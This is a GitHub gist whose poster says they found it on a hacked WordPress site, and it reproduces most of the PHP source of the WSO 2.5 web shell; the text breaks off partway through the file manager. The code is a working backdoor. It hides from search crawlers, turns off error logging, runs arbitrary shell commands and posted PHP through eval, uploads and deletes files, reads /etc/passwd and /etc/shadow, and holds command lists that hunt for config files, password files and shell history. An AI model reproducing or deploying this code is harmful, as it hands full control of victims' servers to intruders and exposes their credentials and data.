Last active
December 19, 2016 16:34
-
-
Save infinityplusone/b85aacebf6551e3614edcda91970924c to your computer and use it in GitHub Desktop.
WP Hack – I just discovered this evil shit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$auth_pass = "d03f9623212689c61c123beddc35acdb"; | |
$color = "#df5"; | |
$default_action = 'FilesMan'; | |
$default_use_ajax = true; | |
$default_charset = 'Windows-1251'; | |
if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { | |
header('HTTP/1.0 404 Not Found'); | |
exit; | |
} | |
} | |
@ini_set('error_log',NULL); | |
@ini_set('log_errors',0); | |
@ini_set('max_execution_time',0); | |
@set_time_limit(0); | |
@set_magic_quotes_runtime(0); | |
@define('WSO_VERSION', '2.5'); | |
if(get_magic_quotes_gpc()) { | |
function WSOstripslashes($array) { | |
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array); | |
} | |
$_POST = WSOstripslashes($_POST); | |
$_COOKIE = WSOstripslashes($_COOKIE); | |
} | |
function wsoLogin() { | |
die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>"); | |
} | |
function WSOsetcookie($k, $v) { | |
$_COOKIE[$k] = $v; | |
setcookie($k, $v); | |
} | |
if(!empty($auth_pass)) { | |
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass); | |
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass)) | |
wsoLogin(); | |
} | |
if(strtolower(substr(PHP_OS,0,3)) == "win") | |
$os = 'win'; | |
else | |
$os = 'nix'; | |
$safe_mode = @ini_get('safe_mode'); | |
if(!$safe_mode) | |
error_reporting(0); | |
$disable_functions = @ini_get('disable_functions'); | |
$home_cwd = @getcwd(); | |
if(isset($_POST['c'])) | |
@chdir($_POST['c']); | |
$cwd = @getcwd(); | |
if($os == 'win') { | |
$home_cwd = str_replace("\\", "/", $home_cwd); | |
$cwd = str_replace("\\", "/", $cwd); | |
} | |
if($cwd[strlen($cwd)-1] != '/') | |
$cwd .= '/'; | |
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) | |
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; | |
if($os == 'win') | |
$aliases = array( | |
"List Directory" => "dir", | |
"Find index.php in current dir" => "dir /s /w /b index.php", | |
"Find *config*.php in current dir" => "dir /s /w /b *config*.php", | |
"Show active connections" => "netstat -an", | |
"Show running services" => "net start", | |
"User accounts" => "net user", | |
"Show computers" => "net view", | |
"ARP Table" => "arp -a", | |
"IP Configuration" => "ipconfig /all" | |
); | |
else | |
$aliases = array( | |
"List dir" => "ls -lha", | |
"list file attributes on a Linux second extended file system" => "lsattr -va", | |
"show opened ports" => "netstat -an | grep -i listen", | |
"process status" => "ps aux", | |
"Find" => "", | |
"find all suid files" => "find / -type f -perm -04000 -ls", | |
"find suid files in current dir" => "find . -type f -perm -04000 -ls", | |
"find all sgid files" => "find / -type f -perm -02000 -ls", | |
"find sgid files in current dir" => "find . -type f -perm -02000 -ls", | |
"find config.inc.php files" => "find / -type f -name config.inc.php", | |
"find config* files" => "find / -type f -name \"config*\"", | |
"find config* files in current dir" => "find . -type f -name \"config*\"", | |
"find all writable folders and files" => "find / -perm -2 -ls", | |
"find all writable folders and files in current dir" => "find . -perm -2 -ls", | |
"find all service.pwd files" => "find / -type f -name service.pwd", | |
"find service.pwd files in current dir" => "find . -type f -name service.pwd", | |
"find all .htpasswd files" => "find / -type f -name .htpasswd", | |
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd", | |
"find all .bash_history files" => "find / -type f -name .bash_history", | |
"find .bash_history files in current dir" => "find . -type f -name .bash_history", | |
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", | |
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", | |
"Locate" => "", | |
"locate httpd.conf files" => "locate httpd.conf", | |
"locate vhosts.conf files" => "locate vhosts.conf", | |
"locate proftpd.conf files" => "locate proftpd.conf", | |
"locate psybnc.conf files" => "locate psybnc.conf", | |
"locate my.conf files" => "locate my.conf", | |
"locate admin.php files" =>"locate admin.php", | |
"locate cfg.php files" => "locate cfg.php", | |
"locate conf.php files" => "locate conf.php", | |
"locate config.dat files" => "locate config.dat", | |
"locate config.php files" => "locate config.php", | |
"locate config.inc files" => "locate config.inc", | |
"locate config.inc.php" => "locate config.inc.php", | |
"locate config.default.php files" => "locate config.default.php", | |
"locate config* files " => "locate config", | |
"locate .conf files"=>"locate '.conf'", | |
"locate .pwd files" => "locate '.pwd'", | |
"locate .sql files" => "locate '.sql'", | |
"locate .htpasswd files" => "locate '.htpasswd'", | |
"locate .bash_history files" => "locate '.bash_history'", | |
"locate .mysql_history files" => "locate '.mysql_history'", | |
"locate .fetchmailrc files" => "locate '.fetchmailrc'", | |
"locate backup files" => "locate backup", | |
"locate dump files" => "locate dump", | |
"locate priv files" => "locate priv" | |
); | |
function wsoHeader() { | |
if(empty($_POST['charset'])) | |
$_POST['charset'] = $GLOBALS['default_charset']; | |
global $color; | |
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title> | |
<style> | |
body{background-color:#444;color:#e1e1e1;} | |
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; } | |
table.info{ color:#fff;background-color:#222; } | |
span,h1,a{ color: $color !important; } | |
span{ font-weight: bolder; } | |
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; } | |
div.content{ padding: 5px;margin-left:5px;background-color:#333; } | |
a{ text-decoration:none; } | |
a:hover{ text-decoration:underline; } | |
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } | |
.bigarea{ width:100%;height:300px; } | |
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; } | |
form{ margin:0px; } | |
#toolsTbl{ text-align:center; } | |
.toolsInp{ width: 300px } | |
.main th{text-align:left;background-color:#5e5e5e;} | |
.main tr:hover{background-color:#5e5e5e} | |
.l1{background-color:#444} | |
.l2{background-color:#333} | |
pre{font-family:Courier,Monospace;} | |
</style> | |
<script> | |
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; | |
var a_ = '" . htmlspecialchars(@$_POST['a']) ."' | |
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."'; | |
var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."'; | |
var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."'; | |
var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."'; | |
var d = document; | |
function set(a,c,p1,p2,p3,charset) { | |
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; | |
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; | |
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; | |
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; | |
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; | |
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; | |
} | |
function g(a,c,p1,p2,p3,charset) { | |
set(a,c,p1,p2,p3,charset); | |
d.mf.submit(); | |
} | |
function a(a,c,p1,p2,p3,charset) { | |
set(a,c,p1,p2,p3,charset); | |
var params = 'ajax=true'; | |
for(i=0;i<d.mf.elements.length;i++) | |
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); | |
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params); | |
} | |
function sr(url, params) { | |
if (window.XMLHttpRequest) | |
req = new XMLHttpRequest(); | |
else if (window.ActiveXObject) | |
req = new ActiveXObject('Microsoft.XMLHTTP'); | |
if (req) { | |
req.onreadystatechange = processReqChange; | |
req.open('POST', url, true); | |
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); | |
req.send(params); | |
} | |
} | |
function processReqChange() { | |
if( (req.readyState == 4) ) | |
if(req.status == 200) { | |
var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); | |
var arr=reg.exec(req.responseText); | |
eval(arr[2].substr(0, arr[1])); | |
} else alert('Request error!'); | |
} | |
</script> | |
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'> | |
<form method=post name=mf style='display:none;'> | |
<input type=hidden name=a> | |
<input type=hidden name=c> | |
<input type=hidden name=p1> | |
<input type=hidden name=p2> | |
<input type=hidden name=p3> | |
<input type=hidden name=charset> | |
</form>"; | |
$freeSpace = @diskfreespace($GLOBALS['cwd']); | |
$totalSpace = @disk_total_space($GLOBALS['cwd']); | |
$totalSpace = $totalSpace?$totalSpace:1; | |
$release = @php_uname('r'); | |
$kernel = @php_uname('s'); | |
$explink = 'http://exploit-db.com/search/?action=search&filter_description='; | |
if(strpos('Linux', $kernel) !== false) | |
$explink .= urlencode('Linux Kernel ' . substr($release,0,6)); | |
else | |
$explink .= urlencode($kernel . ' ' . substr($release,0,3)); | |
if(!function_exists('posix_getegid')) { | |
$user = @get_current_user(); | |
$uid = @getmyuid(); | |
$gid = @getmygid(); | |
$group = "?"; | |
} else { | |
$uid = @posix_getpwuid(posix_geteuid()); | |
$gid = @posix_getgrgid(posix_getegid()); | |
$user = $uid['name']; | |
$uid = $uid['uid']; | |
$group = $gid['name']; | |
$gid = $gid['gid']; | |
} | |
$cwd_links = ''; | |
$path = explode("/", $GLOBALS['cwd']); | |
$n=count($path); | |
for($i=0; $i<$n-1; $i++) { | |
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; | |
for($j=0; $j<=$i; $j++) | |
$cwd_links .= $path[$j].'/'; | |
$cwd_links .= "\")'>".$path[$i]."/</a>"; | |
} | |
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); | |
$opt_charsets = ''; | |
foreach($charsets as $item) | |
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; | |
$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); | |
if(!empty($GLOBALS['auth_pass'])) | |
$m['Logout'] = 'Logout'; | |
$m['Self remove'] = 'SelfRemove'; | |
$menu = ''; | |
foreach($m as $k => $v) | |
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>'; | |
$drives = ""; | |
if($GLOBALS['os'] == 'win') { | |
foreach(range('c','z') as $drive) | |
if(is_dir($drive.':\\')) | |
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; | |
} | |
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>' | |
. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>') | |
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' | |
. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' | |
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">'; | |
} | |
function wsoFooter() { | |
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; | |
echo " | |
</div> | |
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'> | |
<tr> | |
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td> | |
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> | |
</tr><tr> | |
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td> | |
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> | |
</tr><tr> | |
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td> | |
<td><form method='post' ENCTYPE='multipart/form-data'> | |
<input type=hidden name=a value='FilesMAn'> | |
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'> | |
<input type=hidden name=p1 value='uploadFile'> | |
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'> | |
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td> | |
</tr></table></div></body></html>"; | |
} | |
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { | |
function posix_getpwuid($p) {return false;} } | |
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { | |
function posix_getgrgid($p) {return false;} } | |
function wsoEx($in) { | |
$out = ''; | |
if (function_exists('exec')) { | |
@exec($in,$out); | |
$out = @join("\n",$out); | |
} elseif (function_exists('passthru')) { | |
ob_start(); | |
@passthru($in); | |
$out = ob_get_clean(); | |
} elseif (function_exists('system')) { | |
ob_start(); | |
@system($in); | |
$out = ob_get_clean(); | |
} elseif (function_exists('shell_exec')) { | |
$out = shell_exec($in); | |
} elseif (is_resource($f = @popen($in,"r"))) { | |
$out = ""; | |
while(!@feof($f)) | |
$out .= fread($f,1024); | |
pclose($f); | |
} | |
return $out; | |
} | |
function wsoViewSize($s) { | |
if (is_int($s)) | |
$s = sprintf("%u", $s); | |
if($s >= 1073741824) | |
return sprintf('%1.2f', $s / 1073741824 ). ' GB'; | |
elseif($s >= 1048576) | |
return sprintf('%1.2f', $s / 1048576 ) . ' MB'; | |
elseif($s >= 1024) | |
return sprintf('%1.2f', $s / 1024 ) . ' KB'; | |
else | |
return $s . ' B'; | |
} | |
function wsoPerms($p) { | |
if (($p & 0xC000) == 0xC000)$i = 's'; | |
elseif (($p & 0xA000) == 0xA000)$i = 'l'; | |
elseif (($p & 0x8000) == 0x8000)$i = '-'; | |
elseif (($p & 0x6000) == 0x6000)$i = 'b'; | |
elseif (($p & 0x4000) == 0x4000)$i = 'd'; | |
elseif (($p & 0x2000) == 0x2000)$i = 'c'; | |
elseif (($p & 0x1000) == 0x1000)$i = 'p'; | |
else $i = 'u'; | |
$i .= (($p & 0x0100) ? 'r' : '-'); | |
$i .= (($p & 0x0080) ? 'w' : '-'); | |
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); | |
$i .= (($p & 0x0020) ? 'r' : '-'); | |
$i .= (($p & 0x0010) ? 'w' : '-'); | |
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); | |
$i .= (($p & 0x0004) ? 'r' : '-'); | |
$i .= (($p & 0x0002) ? 'w' : '-'); | |
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); | |
return $i; | |
} | |
function wsoPermsColor($f) { | |
if (!@is_readable($f)) | |
return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>'; | |
elseif (!@is_writable($f)) | |
return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>'; | |
else | |
return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>'; | |
} | |
function wsoScandir($dir) { | |
if(function_exists("scandir")) { | |
return scandir($dir); | |
} else { | |
$dh = opendir($dir); | |
while (false !== ($filename = readdir($dh))) | |
$files[] = $filename; | |
return $files; | |
} | |
} | |
function wsoWhich($p) { | |
$path = wsoEx('which ' . $p); | |
if(!empty($path)) | |
return $path; | |
return false; | |
} | |
function actionSecInfo() { | |
wsoHeader(); | |
echo '<h1>Server security information</h1><div class=content>'; | |
function wsoSecParam($n, $v) { | |
$v = trim($v); | |
if($v) { | |
echo '<span>' . $n . ': </span>'; | |
if(strpos($v, "\n") === false) | |
echo $v . '<br>'; | |
else | |
echo '<pre class=ml1>' . $v . '</pre>'; | |
} | |
} | |
wsoSecParam('Server software', @getenv('SERVER_SOFTWARE')); | |
if(function_exists('apache_get_modules')) | |
wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); | |
wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); | |
wsoSecParam('Open base dir', @ini_get('open_basedir')); | |
wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); | |
wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); | |
wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); | |
$temp=array(); | |
if(function_exists('mysql_get_client_info')) | |
$temp[] = "MySql (".mysql_get_client_info().")"; | |
if(function_exists('mssql_connect')) | |
$temp[] = "MSSQL"; | |
if(function_exists('pg_connect')) | |
$temp[] = "PostgreSQL"; | |
if(function_exists('oci_connect')) | |
$temp[] = "Oracle"; | |
wsoSecParam('Supported databases', implode(', ', $temp)); | |
echo '<br>'; | |
if($GLOBALS['os'] == 'nix') { | |
wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no'); | |
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no'); | |
wsoSecParam('OS version', @file_get_contents('/proc/version')); | |
wsoSecParam('Distr name', @file_get_contents('/etc/issue.net')); | |
if(!$GLOBALS['safe_mode']) { | |
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); | |
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); | |
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); | |
echo '<br>'; | |
$temp=array(); | |
foreach ($userful as $item) | |
if(wsoWhich($item)) | |
$temp[] = $item; | |
wsoSecParam('Userful', implode(', ',$temp)); | |
$temp=array(); | |
foreach ($danger as $item) | |
if(wsoWhich($item)) | |
$temp[] = $item; | |
wsoSecParam('Danger', implode(', ',$temp)); | |
$temp=array(); | |
foreach ($downloaders as $item) | |
if(wsoWhich($item)) | |
$temp[] = $item; | |
wsoSecParam('Downloaders', implode(', ',$temp)); | |
echo '<br/>'; | |
wsoSecParam('HDD space', wsoEx('df -h')); | |
wsoSecParam('Hosts', @file_get_contents('/etc/hosts')); | |
echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>'; | |
if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) { | |
$temp = ""; | |
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { | |
$uid = @posix_getpwuid($_POST['p2']); | |
if ($uid) | |
$temp .= join(':',$uid)."\n"; | |
} | |
echo '<br/>'; | |
wsoSecParam('Users', $temp); | |
} | |
} | |
} else { | |
wsoSecParam('OS Version',wsoEx('ver')); | |
wsoSecParam('Account Settings',wsoEx('net accounts')); | |
wsoSecParam('User Accounts',wsoEx('net user')); | |
} | |
echo '</div>'; | |
wsoFooter(); | |
} | |
function actionPhp() { | |
if(isset($_POST['ajax'])) { | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true); | |
ob_start(); | |
eval($_POST['p1']); | |
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n"; | |
echo strlen($temp), "\n", $temp; | |
exit; | |
} | |
if(empty($_POST['ajax']) && !empty($_POST['p1'])) | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0); | |
wsoHeader(); | |
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) { | |
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>'; | |
ob_start(); | |
phpinfo(); | |
$tmp = ob_get_clean(); | |
$tmp = preg_replace(array ( | |
'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', | |
'!td, th {(.*)}!msiU', | |
'!<img[^>]+>!msiU', | |
), array ( | |
'', | |
'.e, .v, .h, .h th {$1}', | |
'' | |
), $tmp); | |
echo str_replace('<h1','<h2', $tmp) .'</div><br>'; | |
} | |
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">'; | |
echo ' <input type=checkbox name=ajax value=1 > send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>'; | |
if(!empty($_POST['p1'])) { | |
ob_start(); | |
eval($_POST['p1']); | |
echo htmlspecialchars(ob_get_clean()); | |
} | |
echo '</pre></div>'; | |
wsoFooter(); | |
} | |
function actionFilesMan() { | |
if (!empty ($_COOKIE['f'])) | |
$_COOKIE['f'] = @unserialize($_COOKIE['f']); | |
if(!empty($_POST['p1'])) { | |
switch($_POST['p1']) { | |
case 'uploadFile': | |
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) | |
echo "Can't upload file!"; | |
break; | |
case 'mkdir': | |
if(!@mkdir($_POST['p2'])) | |
echo "Can't create new dir"; | |
break; | |
case 'delete': | |
function deleteDir($path) { | |
$path = (substr($path,-1)=='/') ? $path:$path.'/'; | |
$dh = opendir($path); | |
while ( ($item = readdir($dh) ) !== false) { | |
$item = $path.$item; | |
if ( (basename($item) == "..") || (basename($item) == ".") ) | |
continue; | |
$type = filetype($item); | |
if ($type == "dir") | |
deleteDir($item); | |
else | |
@unlink($item); | |
} | |
closedir($dh); | |
@rmdir($path); | |
} | |
if(is_array(@$_POST['f'])) | |
foreach($_POST['f'] as $f) { | |
if($f == '..') | |
continue; | |
$f = urldecode($f); | |
if(is_dir($f)) | |
deleteDir($f); | |
else | |
@unlink($f); | |
} | |
break; | |
case 'paste': | |
if($_COOKIE['act'] == 'copy') { | |
function copy_paste($c,$s,$d){ | |
if(is_dir($c.$s)){ | |
mkdir($d.$s); | |
$h = @opendir($c.$s); | |
while (($f = @readdir($h)) !== false) | |
if (($f != ".") and ($f != "..")) | |
copy_paste($c.$s.'/',$f, $d.$s.'/'); | |
} elseif(is_file($c.$s)) | |
@copy($c.$s, $d.$s); | |
} | |
foreach($_COOKIE['f'] as $f) | |
copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']); | |
} elseif($_COOKIE['act'] == 'move') { | |
function move_paste($c,$s,$d){ | |
if(is_dir($c.$s)){ | |
mkdir($d.$s); | |
$h = @opendir($c.$s); | |
while (($f = @readdir($h)) !== false) | |
if (($f != ".") and ($f != "..")) | |
copy_paste($c.$s.'/',$f, $d.$s.'/'); | |
} elseif(@is_file($c.$s)) | |
@copy($c.$s, $d.$s); | |
} | |
foreach($_COOKIE['f'] as $f) | |
@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f); | |
} elseif($_COOKIE['act'] == 'zip') { | |
if(class_exists('ZipArchive')) { | |
$zip = new ZipArchive(); | |
if ($zip->open($_POST['p2'], 1)) { | |
chdir($_COOKIE['c']); | |
foreach($_COOKIE['f'] as $f) { | |
if($f == '..') | |
continue; | |
if(@is_file($_COOKIE['c'].$f)) | |
$zip->addFile($_COOKIE['c'].$f, $f); | |
elseif(@is_dir($_COOKIE['c'].$f)) { | |
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS)); | |
foreach ($iterator as $key=>$value) { | |
$zip->addFile(realpath($key), $key); | |
} | |
} | |
} | |
chdir($GLOBALS['cwd']); | |
$zip->close(); | |
} | |
} | |
} elseif($_COOKIE['act'] == 'unzip') { | |
if(class_exists('ZipArchive')) { | |
$zip = new ZipArchive(); | |
foreach($_COOKIE['f'] as $f) { | |
if($zip->open($_COOKIE['c'].$f)) { | |
$zip->extractTo($GLOBALS['cwd']); | |
$zip->close(); | |
} | |
} | |
} | |
} elseif($_COOKIE['act'] == 'tar') { | |
chdir($_COOKIE['c']); | |
$_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']); | |
wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f'])); | |
chdir($GLOBALS['cwd']); | |
} | |
unset($_COOKIE['f']); | |
setcookie('f', '', time() - 3600); | |
break; | |
default: | |
if(!empty($_POST['p1'])) { | |
WSOsetcookie('act', $_POST['p1']); | |
WSOsetcookie('f', serialize(@$_POST['f'])); | |
WSOsetcookie('c', @$_POST['c']); | |
} | |
break; | |
} | |
} | |
wsoHeader(); | |
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>'; | |
$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); | |
if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; } | |
global $sort; | |
$sort = array('name', 1); | |
if(!empty($_POST['p1'])) { | |
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) | |
$sort = array($match[1], (int)$match[2]); | |
} | |
echo "<script> | |
function sa() { | |
for(i=0;i<d.files.elements.length;i++) | |
if(d.files.elements[i].type == 'checkbox') | |
d.files.elements[i].checked = d.files.elements[0].checked; | |
} | |
</script> | |
<table width='100%' class='main' cellspacing='0' cellpadding='2'> | |
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>"; | |
$dirs = $files = array(); | |
$n = count($dirContent); | |
for($i=0;$i<$n;$i++) { | |
$ow = @posix_getpwuid(@fileowner($dirContent[$i])); | |
$gr = @posix_getgrgid(@filegroup($dirContent[$i])); | |
$tmp = array('name' => $dirContent[$i], | |
'path' => $GLOBALS['cwd'].$dirContent[$i], | |
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), | |
'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), | |
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), | |
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), | |
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) | |
); | |
